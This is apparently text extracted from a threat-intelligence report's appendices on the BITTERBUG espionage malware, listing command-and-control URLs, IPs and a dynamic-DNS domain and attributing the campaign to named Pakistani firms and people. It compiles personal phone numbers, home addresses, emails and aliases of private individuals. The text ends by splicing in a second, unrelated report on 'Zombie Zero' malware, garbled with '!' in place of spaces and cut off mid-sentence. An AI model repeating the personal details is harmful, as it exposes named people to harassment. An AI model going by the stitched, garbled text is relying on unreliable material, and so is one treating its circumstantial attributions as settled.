2458ee58d046f14cad685e6c9c66f109 2013-10-24T09:28:23Z c47d4980c1c152eba335bed5076e8a6f 2013-12-06T10:02:36Z bd0665ffedcf2a9ded36a279d08e4752 2013-12-26T09:19:40Z 58758cb068583736ef33a09a2c4665de 2013-12-30T13:11:23Z 5b943bec7d2a589adfe0d3ff2a30bfe5 2014-03-17T08:16:25Z OPERATION ARACHNOPHOBIA BITTERBUG Network Communications HTTP Requests http:///checkpkg_maxell.php?compname= http:///checkpkg_petal.php?compname= http:///checkpkg.php?compname= http:///fetch_updates_8765_tb.php?compname= http:///fetch_updates_flex.php?compname= http:///fetch_updates_m.php?compname= http:///fetch_updates_petal.php?compname= http:///fetch_updates_pops.php?compname= http:///fetch_updates_pret.php?compname= http:///is_array_max.php?compname= http:///is_array_own.php?compname= http:///is_array_pal.php?compname= http:///is_array.php?compname= http:///maxell_active.php?compname= http:///path_active.php?compname= http:///petal_active.php?compname= http:///version_maxell.php?srs= http:///version_own.php?srs= http:///version_petal.php?srs= http:///versionchk.php?srs= http:///vtris.php?srs= http:///vtris1.php?srs= http:///fetch_updates_8765.php?compname= BITTERBUG Domain & IPs 199.91.173.43 199.91.173.44 199.91.173.45 windowsupdate.no-ip.biz OPERATION ARACHNOPHOBIA APPENDIX C: VPSNOC Email Header Analysis The Kansas-City-based hosting provider sent an introductory email message on July 24th, 2013 at 1500 CDT and would be received by TCIRT at 1400 EDT and VPSNOC on Thursday July 25th, 2013 at 1200 PKT. 49 Analysis of the VPSNOC email50 header indicated that the message was sent on Thursday 25 July at 02:28:41 +0500 GMT, which is consistent with Pakistan s time zone. Of note, the email message was sent with an X-Originating IP Address of 184.75.214.10 corresponding to a Private Internet Access51 Canadian proxy52. VPSNOC s use of this commercial proxy service likely demonstrates the intent to mask the apparent origin of the sender. These two examples highlight that VPSNOC s inbound and outbound email communications consistently utilized a +0500 Pakistani timezone. Digital Appendix 1: Raw Email Communications; Email#1 Subject- Re- Contact Info (Date- Wed, 24 Jul 2013 14-00-29 -0500).eml Digital Appendix 2: Raw Email Communications; Email#2 Subject- Re- Contact Info (Date- Thu, 25 Jul 2013 02-28-41 +0500).eml https://www.privateinternetaccess.com http://pastebin.com/F261NfYa OPERATION ARACHNOPHOBIA APPENDIX D: Inconsistencies Observed Due to the apparent Pakistani nexus within the BITTERBUG malware and the Pakistan time zone consistently observed within the VPSNOC emails, the TCIRT applied additional scrutiny and research of the content within the Tranchulas Response_ ThreatConnect.docx to validate their claims. In the following section we will examine the inconsistencies observed. Within the response we observed the following inconsistencies: Inconsistency #1: Day & Date Misalignment within image1.png Screenshot Our review of the Response_ThreatConnect.docx 53 focused in on the email screenshot (Figure 3) image1.png54 that Khan provided revealing that the date probably had been modified to appear as though they were the first to notify VPSNOC. Within the official response, Zubair Khan indicated that Tranchulas was already aware of this incident...and contacted hosting company. The official response included a screenshot depicting an email sent to VPSNOC from an unidentified (redacted) tranchulas.com email address that was sent on Tue, Jul 21, 2013 at 11:36 PM with no evidence of the date in which it was received by or responded to by VPSNOC. This message contained a notable misalignment between the date and day of the week. July 21, 2013 was a Sunday, not a Tuesday. Tuesday would have pre-dated our official notification that occurred on Wednesday July 24, 2013, and could indicate that Tranchulas may have obtained insight into the original TCIRT notification through Pakistanbased contacts within VPSNOC. The TCIRT subsequently responded to Mr. Khan s official explanation with a follow-up inquiry, offering Khan an opportunity to explain the date inconsistency within the email screenshot. Mr. Khan deferred our request to Mr. Hamza Qamar55, a Penetration Testing Team Lead at Tranchulas, who later responded56 with a simple denial that the email message had not been altered apart from blurring the name of the original sender. Inconsistency #2: Awareness of Withheld Information The email screenshot (image1.png) from within the Tranchulas response demonstrated awareness of information that we initially withheld and later released in our blog post: one malware variant57 that contained a debug string with umairaziz27 the same username as a Tranchulas employee. The Tranchulas message to VPSNOC incorrectly claimed to identify malware on 199.91.173.43 that contained the company s name and...employee s name . While it is possible that Tranchulas analysts discovered this variant independent of the blog post, it added to the inconsistent elements of the response and further suggested that the blog post may have inspired its communications with VPSNOC. We note that we requested additional information such as the detailed analysis report within the exchange from Tranchulas but did not receive a response. Inconsistency #3: Tranchulas Direct Notification The Tranchulas response indicates that Tranchulas research team was already aware of this incident before publication of this report. Our team contacted hosting company of server to seek an explanation. Considering there are no public references to the identified infrastructure identifying VPSNOC as the hosting company . The only way for Tranchulas to identify VPSNOC as the hosting company was to either have previous insider knowledge of the activity, or to have been privately introduced by the Kansas-City-based service provider to their client VPSNOC, of which was never mentioned or discussed when we initially exchanged with either the Kansas-City or Pakistan-based hosting providers. Digital Appendix 1: Research Collateral Response_ThreatConnect.docx (MD5: 6f7010a28f33be02d85deb9ba40ec222) Digital Appendix 1: Research Collateral image1.png (MD5: d224f39f8e20961b776c238731821d16) http://pk.linkedin.com/pub/hamza-qamar/22/6b8/109 Digital Appendix 2: Raw Email Communications (Email#4 Subject- Re- Regarding 20130731A- South Asia Cyber Espionage Heats Up (Date- Thu, 15 Aug 2013 12-52-54 +0500).eml https://www.virustotal.com/en/file/b9a062e84ab64fc55dedb4ba72f62544eb66d7e1625059d2f149707ecd11f9c0/analysis/ OPERATION ARACHNOPHOBIA Public registration of the 199.91.173.43 reveals the Kansas-City-based hosting provider as the official registrant and owner of the infrastructure. The only way to know that VPSNOC was subleasing the infrastructure was to obtain this information directly from them. There was no public reference which would have revealed VPSNOC as the entity which maintained root access to the 199.91.173.43. Had Tranchulas legitimately conducted an initial victim notification sometime in late July 2013, they would have likely done so through the Kansas-City-based hosting provider and not VPSNOC. On August 15, 2013, Hamza Qamar s response to TCIRT s follow up inquiry to the observed inconsistencies redirected TCIRT personnel to VPSNOC to obtain an explanation versus attempting to explain the observed day date inconsistency and document properties within the Tranchulas email. The TCIRT s suspicion mounted when presenting Tranchulas with the opportunity to set the record straight, that Tranchulas could not substantiate their claims, rather deferring the TCIRT inquiry to a third party (VPSNOC). Inconsistency #4: Tranchulas obtains similar response that TCIRT obtained Within the Response_ThreatConnect.docx the image image1.png contains an undated response from VPSNOC to the Tue, Jul 21, 2013 Tranchulas notification. The undated VPSNOC response that Tranchulas received is nearly identical to the response that TCIRT and the Kansas-City-based service provider obtained on July 24th. Tranchulas does not include the date or time as to when they obtained a response from VPSNOC. The TCIRT found it unusual that neither the Kansas-City-based service provider or VPSNOC personnel ever indicated either way that they knew about the activity or had been previously contacted by either party. When considering all of the inconsistencies, order of events and studying, Gmail webmail layout, similarities of keywords, salutations and closings within the Tue, Jul 21, 2013 Tranchulas notification and the respective VPSNOC response. The TCIRT grew increasingly suspicious of the exchanges with VPSNOC and subsequent exchanges with Tranchulas personnel. Inconsistency #5: Similar Document Metadata Properties Analysis of metadata within two benign decoy documents that were originally used within July 2013 BITTERBUG operations, Report.docx58 and Naxalites_Funded_by_Pakistan.docx59, both maintained the author properties of . In reviewing the document metadata within the Response_ThreatConnect.docx that was sent from Mr. Zubair Khan on August 6, 2013, the TCIRT also identified that this document maintained the creator properties of (Figure 10) While the author field of doesn t conclusively prove a relationship, it contributes to a body of circumstantial evidence which matches the document properties of the official Tranchulas response to the document properties that were also found within decoy documents that were bundled with BITTERBUG implants. https://www.virustotal.com/en/file/7e940115988d64fbf7cd3b0d86cd2440529f921790578a96acac4c027120e0c5/analysis/ https://www.virustotal.com/en/file/f689d9990a23fbde3b8688b30ff606da66021803390d0a48d02fad93dc11fa15/analysis/ OPERATION ARACHNOPHOBIA APPENDIX E: VPSNOC & Digital Linx Associations According to the vpsnoc.com website In 2007 five VPS experts decided to invest in their very own private rack space in the heart of Kansas, the United States. Their aim? To bring service-oriented, quality managed and unmanaged VPS solutions to clients all over the world. Just 1 year later, after beginning their enterprise on 3 servers they had filled 2 server racks with happy clients receiving quality U.S support. Their company continued to build momentum. Whois records for vpsnoc.com indicate that another individual registered the domain and listed Digital Linx Hosting as the registrant organization with a Kansas City-based address, telephone number 925-665-1427, and administrative email address admin@digitallinx. org.61 This is the same registrant record for the digitallinx.net domain.62 The digitallinx.net/sitemap.xml63 and the corresponding Google cache64 for digitallinx.net/sitemap.xml indiciate that both digitallinx.net and digitallinx.com have shared the same sitemap.xml at the same time. The digitallinx.net/Contact.html65 identified similar overlaps with data across the .org, .net, and .com domains. The domain digitallinx.com is registered to Perasona #1.66 67 68 69 He uses email addresses naseer@digitallinx.com and nbhatti@ gmail.com as the domain registrant email address, along with address 638-F Johar Town, Lahore Pakistan and telephone 966.548805579.70 The DigitalLinx (digitallinx.com) website states that it is a web hosting / Web Solutions & Processing Outsourcing Company based in Pakistan Open source research of the phone number 925-665-1427 indicates that it is also used within site content as a phone number for defiantmarketing.com. This domain is registered by Persona #2 71 who uses the aliases agnosticon and agnostic . Persona #2 lists VPSNOC as the registrant organization, and uses the registration email address of abunasar@yahoo.com with an address of House 12, Street 21, F-8/1 Islamabad Federal 44000. The domain defiantmarketing.com domain has used ns1.abunasar.net and ns2.abunasar.net for name services. Within a January 2009 posting to a Debian users forum, Persona #2 sends an email from the abunasar@yahoo.com with a reply-to as abunasar@army.com.72 Within the post, Persona #2 responds to the question s using Debian listing DigitalLinx, Kansas City MO and the link to digitallinx.com. Also, the seemingly abandoned Twitter profile for Persona #273 is only following the Twitter profile for @VPSNOC.74 In an April 2012 post to blackhatworld.com, a user with the alias agnosticon posted promotional codes for VPSNOC hosting services, engaging with customers, providing them feedback regarding VPS services and thanking them for positive reviews.75 Within the posting the user agnosticon included an image which was an actual advertisement that was hosted at http://vpsnoc. com/order.png.76 77 Within the posted image it states VPSNOC is a subdivision of Digital Linx Hosting. We have been in business since 2008 . The posting concludes with If you have any further questions/queries please contact us directly at: support@vpsnoc.com http://vpsnoc.com https://whois.domaintools.com/vpsnoc.com https://whois.domaintools.com/digitallinx.net digitallinx.net/sitemap.xml http://webcache.googleusercontent.com/search?q=cache:CtCiQUGgUaoJ:www.digitallinx.net/sitemap.xml+&cd=1&hl=en&ct=clnk&gl=us digitallinx.net/Contact.html https://whois.domaintools.com/digitallinx.com http://sa.linkedin.com/pub/muhammad-naseer-bhatti/9/18a/815 https://groups.google.com/forum/#!original/securityfocus2/9325p2as3IU/BqKQJwdlZ4YJ Appendix F: Personas; Persona #1 Muhammad Naseer Bhatti https://github.com/digitallinx/vBilling/blob/master/CHANGELOG Appendix F: Personas; Persona #2 Abunasar Khan https://lists.debian.org/debian-www/2009/01/msg00186.html https://twitter.com/abunasar https://twitter.com/vpsnoc http://www.blackhatworld.com/blackhat-seo/members/32481-agnosticon.html http://www.blackhatworld.com/blackhat-seo/hosting/430705-unmetered-vps-hosting-get-50-off-your-first-month-exclusive-coupons-bhw.html http://vpsnoc.com/order.png OPERATION ARACHNOPHOBIA APPENDIX F: Personas Persona #1: Muhammad Naseer Bhatti s LinkedIn profile indicates that he is currently the founder for Digital Linx LLC and vBilling (vbilling.org) as well as a consultant for a U.S. company78. Both Bhatti and Digital Linx are listed as the registrants for vbilling.org79, v-billing. com80, vgriffins.com81 and my-server.co82, which use P.O. Box 295658, Riyadh Saudi Arabia83 as the registration address. This is also the address for two U.S. companies local operations. Bhatti is also listed as the owner of the netblock 46.4.139.224/28. Both passive DNS sources as well as Robtex84 highlight this overlapping infrastructure.85 From September 7 - 9, 2011, Tranchulas in cooperation with the Pakistan National University of Sciences and Technology86 (NUST), offered a Certified Penetration Testing Profession (CPTP) Workshop87 (Figure 17). During the workshop, basic penetration techniques and skills were presented88. It is likely that CPTP workshops and alignment with NUST have allowed Tranchulas the opportunity to recruit student interns.89 http://sa.linkedin.com/pub/muhammad-naseer-bhatti/9/18a/815 http://whois.domaintools.com/vbilling.org http://whois.domaintools.com/v-billing.com http://whois.domaintools.com/vgriffins.com http://whois.domaintools.com/my-server.co http://saudi.emc.com/contact/contact-us.htm https://www.robtex.com/dns/digitallinx.com.html http://whatmyip.co/info/whois/46.4.139.225 www.nust.edu.pk http://seecs.nust.edu.pk/Seminars_workshops/pages/tranchulas_hacking_workshop/index.php Digital Appendix 1: Research Collateral (Program.pdf) http://www.nust.edu.pk/INSTITUTIONS/Directortes/ilo/Download%20Section/Graduate%20Profiles%20booklet-%202013%20(SEECS).pdf OPERATION ARACHNOPHOBIA Figure 17: Muhammad Nasser Tranchulas CPTP Registration Point of Contact Within the CPTP event registration contact information for Muhammad Naseer was listed next to a Tranchulas office number (0512871433)90. It is important to note that Muhammad Naseer Bhatti has been previously known to drop91 the family name Bhatti http://www.linkedin.com/groups/Tranchulas-Handson-Ethical-Hacking-Training-2616369.S.75237952 https://groups.google.com/forum/#!original/securityfocus2/9325p2as3IU/BqKQJwdlZ4YJ OPERATION ARACHNOPHOBIA within online correspondence (Figure 18). In a June 2012 episode of Engineering and Technology Magazine92 podcast a Mohammed Nasser, Penetration Tester at Tranchulas was interviewed93. A Mohammed Nasser may also be directly affiliated94 with Tranchulas. Figure 18: Muhammad Nasser Bhatti Dropping Family Name This links Tranchulas to a Pakistani employee or consultant also named Muhammad Naseer. It is unknown if this is the same Muhammad Naseer that is associated with VPSNOC s parent company Digital Linx, the Pakistan-based service provider which hosted the original BITTERBUG malware. http://eandt.theiet.org/magazine/2012/06/ http://eandt.theiet.org/magazine/2012/06/et-podcast-18.cfm http://www.zoominfo.com/s/#!search/profile/person?personId=1627460418&targetid=profile OPERATION ARACHNOPHOBIA Persona #2: Abunasar Khan also maintains the aliases agnosticon 95 and agnostic 96 in addition to the email addresses abunasar@yahoo. com and abunasar@army.com. He has been previously associated97with VPSNOC & Digital Linx. An April 2012 Whois registrant record for the domain zeusadnetwork.com98 includes the first and last name Khan along with the same (925) 665-1427 phone number seen within the Digial Linx Hosting domains. Khan registered a variety of domains, many of which use his abunasar.net99 for name services and abunasar.yahoo.com within the Start of Authority (SOA) records. For example a July 2014 record (Figure 19) for defiantmarketing.com100 and an August 2013 record (Figure 20) for ns2.vpsnoc.com both maintain these references. Figure 19: SOA record for defiantmarketing.com (July 2014) http://www.blackhatworld.com/blackhat-seo/members/32481-agnosticon.html http://www.redlinegti.com/forum/viewtopic.php?f=3&t=41719&p=401115 http://www.webhostingtalk.com/showthread.php?t=723658 http://whois.domaintools.com/zeusadnetwork.com http://whois.domaintools.com/abunasar.net http://bgp.he.net/dns/defiantmarketing.com OPERATION ARACHNOPHOBIA Figure 20: SOA Record for vpsnoc.com (August 2013) Abunasar Khan registered abunasar.net and previously (May 2007) and maintained whitehate.org101, which have both been used to demonstrate an affinity for and alignment with AntiSec and Anonymous movements.102 The abunasar.net website prominently displays ascii art of the term antisec with antisec related content Blend in. Get trusted. Trust nobody. Own everybody. Disclose nothing. Destroy everything. Take back the scene. This is a shared affinity that is also reflected amongst with the culture of Tranchulas employees.103 104 105 The pure.whitehate.org domain has also been previously associated with Khan, examples can be found within #phrack and #darknet IRC sessions.106 107 Ironically, in February 2011, Khan s Rootkit.com user profile was compromised revealing his profile s username, password hash, email (abunasar@army.com), and the registration IP address of 202.125.143.67 (Islamabad, Pakistan).108 During his registration, Khan specified the name anony mo us when registering the profile. As of 16 August 2013, a Pastebin post contained details of a customer database compromise for nowclothing.pk, which included Khan s name, email abunasar@army.com, and cell phone number 03215488881.109 110 Research of the 03215488881 cell phone number yields a user profile abunasark in an April 2009 posting.111 Khan posts pictures of his blue Baleno and includes another phone number 03234764838.112 In a secondary profile user uses the same cell phone number 03215488881 in a 2009 sales posting for a 2004 blue Baleno.113 114 https://whois.domaintools.com/whitehate.org https://whois.domaintools.com/abunasar.net https://www.facebook.com/media/set/?set=a.542485719112184.135023.132987340062026&type=3 http://youtube.com/watch?v=w3DjOuEI0vs.mov Digital Appendix 3: Screenshot Archives (youtube.com/watch?v=w3DjOuEI0vs.mov) http://pastebin.com/rqVGqh1q http://shootingsawk.lescigales.org/misc/owneddarknet.txt https://dazzlepod.com/rootkit/?page=284 http://pastebin.com/ktR3qM3K Digital Appendix 3: Screenshot Archives (pastebin.com/ktR3qM3K.png) http://www.pakwheels.com/forums/user/abunasark http://www.pakwheels.com/forums/members-member-rides/99428-white-baleno-not-anymore-comments-please-p-4 http://www.motors.pk/ak-22.htm http://www.motors.pk/used-cars/suzuki-baleno-2004-for-sale-in-islamabad-22.htm OPERATION ARACHNOPHOBIA Khan s affinity for Suzuki Baleno cars is made obvious in a May 2009 registration for clubaleno.co.uk that was registered by Khan at VPSNOC using the name services of ns1.abunasar.net and ns2.abunasar.net with a SOA record of abunasar.yahoo.com.115 116 Later in a June 2009 posting, Khan using the alias agnostic attempts to sell the domain clubaleno.co.uk and uses his abunasar@ army.com email address as a point of contact.117 Khan is also observed using the alias agnosticon and a Toyota Racing Development avitar within posts to blackhatworld.com and again within a 2011 post where he posts a cpanel error that also includes his abunasar username within system output.118 The Google+ profile for Khan119 reveals established social network links to a Team Lead for Penetration Testing at Tranchulas and a Digital Linx employee Shoaib Riaz120 who also maintains a social network association with the Digital Linx founder Muhammad Nasser Bhatti.121 http://www.sitetrail.com/clubaleno.co.uk http://dawhois.com/site/clubaleno.co.uk.html http://www.redlinegti.com/forum/viewtopic.php?f=3&t=41719&p=401115 http://forums.cpanel.net/f5/help-yum-broke-rpm-db-broke-somehow-httpd-wont-start-238511.html https://plus.google.com/103436628630566104748/posts https://plus.google.com/105059395104464629441/about https://plus.google.com/105855064276291727409/posts OPERATION ARACHNOPHOBIA APPENDIX G: Tranchulas The Tranchulas website122 states that they provide a range of security services and training to include penetration and offensive cyber initiative (OCI), in which they help national level cyber security programs on strategies for managing offensive technical threats . In a September 2011 YouTube user tranchulascert posted a video titled Tranchulas Cyber Ranges - P@sha ICT Awards 2011123 , where they awarded runner up124. Within the video, the cyber ranges were referenced as being developed for defense forces that were aimed to help them in developing offensive and defensive warfare skills and combating anti-state hackers Although Tranchulas125 brands itself as a multi-national company, their respective operating addresses within United Kingdom126 the United States127 and New Zealand128 are all associated with either virtual office spaces or address forwarding services. The Tranchulas website lists its Pakistan address within the 2nd floor of the Evacuee Trust Complex129 on Sir Agha Khan Road F-5/1 Islamabad 44000. The Evacuee Trust Complex is also known as Software Technology Park 2130 or STP2 and hosts a variety131 of other commercial and government offices. The Tranchulas employee, Hamza Qamar, that handled the response to our inquiry has a public LinkedIn132 profile that states that Engaged in system and enterprise level network and Web application security testing for clients ranging from large federal agencies, DoD, and commercial clients. The profile does not specify if DoD is a reference to the U.S. Department of Defense or another country s Ministry of Defense. Interestingly, Qamar s Google+ page showed one friend in his circle despite more than 40 followers, Abunasar Khan a VPSNOC employee. It is likely that Tranchulas provides services to the Pakistani government. The offensive cyber initiative services offered by Tranchulas is offered to national-level cyber security programs suggesting a commercial demand from national-level customers. The stated purpose and intent of the Tranchulas Cyber Ranges P@sha ICT 2011 awards video suggests the ranges were specifically developed in support of national interests for offensive and defensive purposes. The domain registration by Zubair Khan using an official Pakistani government address with his zubair@tranchulas.com email address indicates that Khan may have or currently maintains a physical address at a location where other Pakistani government officials reside. Historic Whois registration records for the domains textcrypter.com133, taggnation.com134, bookadoconline.com135 and saadiakhan. net136 lists Tranchulas CEO Zubair Khan (zubair@tranchulas.com137) as the registrant for the domains. At the time of registration Khan used the address 15-B, Mehran Block of the Gulshan-e-Jinnah F-5/1 Islamabad Pakistan for the domains. http://tranchulas.com https://www.youtube.com/watch?v=FAM6JxOHdo8 http://pashaictawards.com/?page_id=1644 http://tranchulas.com/contact-us/ http://www.londonpresence.com/contact-us/ http://nextspace.us/nextspace-union-square-san-francisco/ http://www.privatebox.co.nz/virtual-office/virtual-office-address.php https://www.facebook.com/EvacueeTrustComplex http://wikimapia.org/425791/Evacuee-Trust-Complex https://www.facebook.com/EvacueeTrustComplex/photos/a.554791821273808.1073741825.404981572921501/554791824607141/ http://pk.linkedin.com/pub/hamza-qamar/22/6b8/109 https://whois.domaintools.com/textcrypter.com https://whois.domaintools.com/taggnation.com https://whois.domaintools.com/bookadoconline.com https://whois.domaintools.com/saadiakhan.net https://reversewhois.domaintools.com/?email=b249ca637ef7cc55a0136bcda9dca0d3 OPERATION ARACHNOPHOBIA In an April 2008 Request for Proposals, the Pakistan Public Works Department issued a tender138 for the Constriction of Government Servant Quarters and Garages at Gulshan-e-Jinnah Complex F-5/1 Islamabad. Later in May of 2010 within a Pakistani Senate139 question and answer session, the Gulshan-e-Jinnah Complex was cited under Federal Lodges / Hostels in Islamabad under the control of Pakistan Ministry for Housing and Works. A December 2010 TheNews Pakistan ran a story140 that detailed the differential in rents between commoners within Islamabad and Pakistani government officers accommodated at Gulshan-e-Jinnah. According to Google Maps141 it is approximately 650 meters (8 minute walk) from the Gulshan-e-Jinnah Complex to the Tranchulas offices within the Evacuee Trust Complex. Within a May 2013 interview142 Khan specified that he comes from a family with a strong military background. He detailed his interest in the world of hacking grew during his teen years, referencing his father s diplomatic assignment to the Philippines in 2003. Khan would go on to establish Tranchulas in February 2006 after an independent audit of Pakistani Governments National Database and Registration Authority (NADRA). http://www.dgmarket.com/tenders/np-notice.do?noticeId=2466880 http://www.senate.gov.pk/uploads/documents/questions/1317711132_399.pdf http://www.thenews.com.pk/Todays-News-2-22150-Bureaucrats-journalists-avail-cheaper-accommodation https://www.google.com/maps/dir/Tranchulas,+Islamabad,+Pakistan/Gulshan-e-Jinnah+Complex,+Islamabad,+Pakistan/@33.7327466,7 3.0877996,17z/data=!4m13!4m12!1m5!1m1!1s0x38dfc0820ff3f9e3:0x4b3eb557d9cd81c3!2m2!1d73.088686!2d33.73353!1m5!1m1!1s0 x38dfc0818a64f1d7:0x82c3bee2d49d88ab!2m2!1d73.089409!2d33.73263?hl=en-US http://bluechipmag.com/qa-with-zubair-khan/ OPERATION ARACHNOPHOBIA Digital Appendix 1: Research Collateral Digital Appendix 1 contains additional research collateral collected when conducting Operation Arachnophobia research. OPERATION ARACHNOPHOBIA Digital Appendix 2: Raw Email Communications Digital Appendix 2 contains raw email communications. These .eml files include raw SMTP headers, content and attachments. OPERATION ARACHNOPHOBIA Digital Appendix 3: Screenshot Archives Digital Appendix 3 contains screenshots of web content used to conduct analysis. OPERATION ARACHNOPHOBIA Digital Appendix 4: Maltego Visualization Digital Appendix 4 contains visualization files that depict relationships and contain metadata associated with our Operation Arachnophobia research. OPERATION ARACHNOPHOBIA Anatomy!of!the!Attack:!! Zombie!Zero! The!Anatomy!of!the!Attack:!!!Zombie!Zero! Zombie!Zero! Zombie!Zero!is!a!suspected!nation;state!sponsored! attack!on!targeted!logistics!and!shipping!industries.! Variants!of!this!Advanced!Persistent!Malware! have!recently!been!seen!in!manufacturing!sectors! as!well.! Weaponized!malware!was!delivered!into!customer! environments!from!the!Chinese!factory!responsible! for!selling!a!proprietary!hardware/software!scanner! application!used!in!many!shipping!and!logistic! companies!around!the!world.! The!same!hardware!product!with!a!variant!of!this! malware!was!sold!and!delivered!to!a! manufacturing!company!as!well!as!to!seven!other! identified!customers.! The!malware!was!embedded!in!a!version!of! Windows!XP!installed!on!hardware!at! manufacturer's!location!in!China.! Malware!also!persisted!in!the!Windows!XP! embedded!version!located!at!the!Chinese!manufacturer's!support!website!hosted!in!China.! Description!of!the!Chinese!hardware/! software!scanner!application!and!the!user! company's!security!environment:! Items!being!shipped/transported!are!scanned!as! they!are!loaded/offloaded!from!vehicles!such!as! ships,!trucks,!and!planes.! This!scanned!data!(origin,!destination,!contents,! value,!to,!from,!etc.)!is!transmitted!to!the! corporate!ERP!via!an!exterior!wireless!network.!! The!customer!deployed!scanners!at!two!major! distribution!sites.!!Site!1!had!a!firewall!between!the! corporate!production!network!and!the!end